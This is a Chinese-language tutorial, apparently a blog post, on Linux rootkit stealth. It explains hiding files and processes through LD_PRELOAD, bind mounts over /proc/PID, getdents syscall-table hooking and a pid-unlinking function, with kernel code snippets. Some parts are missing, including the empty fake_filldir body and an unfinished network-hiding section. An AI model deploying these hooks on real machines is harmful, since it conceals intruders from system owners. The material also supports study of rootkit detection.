Rootkit这一概念最早出现于上个世纪九十年代初期,CERT Coordination Center(CERT/CC)于1994年在CA-1994-01这篇安全咨询报告中使用了Rootkit这个词汇。在这之后Rootkit技术发展迅速,这种快速发展的态势在2000年达到了顶峰。2000年后,Rootkit技术的发展也进入了低潮期,但是对于Rootkit技术的研究却并未停滞。在APT攻击日益流行的趋势下,Rootkit攻击和检测技术也同样会迎来新的发展高潮。
简而言之,Rootkit是一种隐藏程序的技术方法。
先说一种简单的方法:将文件名命名为"."开头的名字,这样该文件为隐藏文件。
我们可以通过LD_PRELOAD环境变量来劫持libc库,实现hook readdir函数,进而隐藏目标文件。获取目录信息是通过readdir函数。
/proc是一个伪文件系统,只存在于内核内存空间中,并不占用外存空间。/proc以文件系统的方式为用户态进程访问内核数据提供接口。
在/proc目录中,每一个进程都有一个相应的文件夹,以PID命名,里面有进程运行时的各种信息。
ps和
top
等命令都是基于/proc
下的文件夹做查询并输出结果。
我们通过创建一个新目录,并将该目录挂载到目标/proc/PID目录下,这样/proc/PID目录下原本的内容就会被隐藏。原因是被挂载的目录会与挂载目录的内容一致,而被挂载目录的原本内容会被掩盖,最好真正生效的是安装的新文件系统的目录树。此外,绑定挂载不会影响文件系统上存储的内容,它是实时系统的属性。
使用命令如下:
mkdir test mount -o bind test /proc/407645
我们可以通过查看/proc/$$/mountinfo文件来检查是否通过该方法隐藏进程
cat /proc/$$/mountinfo
方法同上面的文件隐藏。
对于目录的遍历主要是通过getdents或者getdents64函数实现的(比如ls命令查看目录下的内容),所以对目标文件或目录进行隐藏的方法之一就是hook该函数,设置过滤。
sys_getdents=(void *)sysCallTable[__NR_getdents];
getdents函数的定义如下:
SYSCALL_DEFINE3(getdents, unsigned int, fd, struct linux_dirent __user *, dirent, unsigned int, count) { struct fd f; struct getdents_callback buf = { .ctx.actor = filldir, .count = count, .current_dir = dirent }; int error; if (!access_ok(dirent, count)) return -EFAULT; f = fdget_pos(fd); if (!f.file) return -EBADF; error = iterate_dir(f.file, &buf.ctx); if (error >= 0) error = buf.error; if (buf.prev_reclen) { struct linux_dirent __user * lastdirent; lastdirent = (void __user *)buf.current_dir - buf.prev_reclen; if (put_user(buf.ctx.pos, &lastdirent->d_off)) error = -EFAULT; else error = count - buf.count; } fdput_pos(f); return error; }
getents函数的实现在fs/readdir.c文件中,该函数主要是根据inode上的信息填写dirent结构体,再返回给用户。
也就是说,getents函数将获知的目录信息存储到成员变量dirent中,它是一个指针,因为对应的内存空间存储的可能是一组连续的linux_dirent结构体。其中,d_reclen变量为该结构体大小,通过它我们实现偏移,遍历每一个结构体的内容。getents函数的返回值为这个连续空间的大小。
struct linux_dirent64 { u64 d_ino; s64 d_off; unsigned short d_reclen; unsigned char d_type; char d_name[]; };
我们可以通过修改目标文件所在的linux_dirent项的内容,或者跳过该项来实现文件隐藏。这里,我们选择修改上一项的d_reclen跳过目标项来实现文件隐藏。
代码如下:
long fake_sys_getdents (unsigned int fd,struct linux_dirent __user *dirp, unsigned int count,long ret){ unsigned long off = 0; struct linux_dirent *dir, *kdir, *prev = NULL; if (ret <= 0) return ret; kdir = kzalloc(ret, GFP_KERNEL); if (kdir == NULL) return ret; if (copy_from_user(kdir, dirp, ret))//从用户空间拷贝到内核空间 { kfree(kdir); return ret; } while (off < ret) { dir = (void *)kdir + off; if (strcmp((char *)dir->d_name, "目标文件名") == 0) { if (dir == kdir) { ret -= dir->d_reclen; memmove(dir, (void *)dir + dir->d_reclen, ret); continue; } prev->d_reclen += dir->d_reclen; } else { prev = dir; } off += dir->d_reclen; } if (copy_to_user(dirp, kdir, ret)) { kfree(kdir); return ret; } kfree(kdir); return ret; }
我们hook系统调用getdents,替换上我们的getdents函数,实现如下。
asmlinkage long hook_getdents(unsigned int fd,struct linux_dirent __user *dirp, unsigned int count){ //printk(KERN_INFO"hook getdents!!"); if(fileName->next==NULL){ return real_sys_getdents(fd,dirp,count); } int ret = real_sys_getdents(fd,dirp,count); return fake_sys_getdents(fd,dirp,count,ret); }
我们通过逆向系统调用getdents,发现每一个目录项(文件信息或目录信息)最后都是通过.ctx.actor中设置的回调函数filldir填写的,该函数负责将inode中的文件信息填写到dirent中。调用链为:getdents -> iterate_dir -> iterate/iterate_share -> .ctx.actor中设置的回调函数filldir。其中,如果iterate_share函数指针不为空,则调用该指针,否则调用iterate函数指针的函数处理。
因此,我们通过hook iterate函数和iterate_share函数,然后在其中将.ctx.actor的内容替换为我们的fake_filldir函数地址,而fake_filldir函数中当发现填写到目标文件时进行跳过,从而实现文件隐藏。
filldir函数实现如下:
static int filldir(struct dir_context *ctx, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { struct linux_dirent __user *dirent, *prev; struct getdents_callback *buf = container_of(ctx, struct getdents_callback, ctx); unsigned long d_ino; int reclen = ALIGN(offsetof(struct linux_dirent, d_name) + namlen + 2, sizeof(long)); int prev_reclen; buf->error = verify_dirent_name(name, namlen); if (unlikely(buf->error)) return buf->error; buf->error = -EINVAL; /* only used if we fail.. */ if (reclen > buf->count) return -EINVAL; d_ino = ino; if (sizeof(d_ino) < sizeof(ino) && d_ino != ino) { buf->error = -EOVERFLOW; return -EOVERFLOW; } prev_reclen = buf->prev_reclen; if (prev_reclen && signal_pending(current)) return -EINTR; dirent = buf->current_dir; prev = (void __user *) dirent - prev_reclen; if (!user_access_begin(prev, reclen + prev_reclen)) goto efault; /* This might be 'dirent->d_off', but if so it will get overwritten */ unsafe_put_user(offset, &prev->d_off, efault_end); unsafe_put_user(d_ino, &dirent->d_ino, efault_end); unsafe_put_user(reclen, &dirent->d_reclen, efault_end); unsafe_put_user(d_type, (char __user *) dirent + reclen - 1, efault_end); unsafe_copy_dirent_name(dirent->d_name, name, namlen, efault_end); user_access_end(); buf->current_dir = (void __user *)dirent + reclen; buf->prev_reclen = reclen; buf->count -= reclen; return 0; efault_end: user_access_end(); efault: buf->error = -EFAULT; return -EFAULT; }
而我们的实现代码如下:
int fake_filldir(struct dir_context *ctx, const char *name, int namlen, loff_t offset, u64 ino, unsigned d_type) {
用户态的进程都是通过访问proc文件系统中的进程对应的PID目录下的内容来获取目标进程信息,如ps命令就是如此。下图为"strace ps"的部分执行结果。
所以,我们可以通过隐藏/proc/PID目录就可以实现进程隐藏。
在介绍该思路前,不得不提摘链隐藏的思路。该思路会对现在版本的内核造成许多隐患,不建议轻易使用。CPU调度进程离不开task_struct,如果在CPU调度时找不到该进程,会导致崩溃。并且摘链是销毁进程的一步,进程描述符task_struct没了,但是分配的资源还没有释放掉,这也会造成隐患。我们的目的是隐藏进程,而不是干掉进程。
关于task_struct结构体的重要成员介绍:
-1 --- no running 1 ---- running 8 ---- traced
0x40 --- forked but not exec 0x100 ---- super-user privilege 0x400 ---- killed by a signal 0x40000 --- I am a kswapd 0x200000 --- kernel thread
0 --- 表示不需要被ptrace 1 --- 表示在被ptrace,PT_PTRACED 2 --- 表示PT_DTRACE
实现代码如下:
#include <linux/pid_namespace.h> void hideProcess(int pid){ struct pid *hiden_pid = NULL; hiden_pid = find_vpid(pid); hiden_pid->tasks[PIDTYPE_PID].first=NULL; }
用户态的进程可以通过读取/proc/net/tcp文件来获取当前的tcp连接信息,而我们需要隐藏其中的某一项。
https://github.com/TangentHuang/ucas-rootkit
https://github.com/g0dA/linuxStack/blob/master/%E8%BF%9B%E7%A8%8B%E9%9A%90%E8%97%8F%E6%8A%80%E6%9C%AF%E7%9A%84%E6%94%BB%E4%B8%8E%E9%98%B2-%E6%94%BB%E7%AF%87.md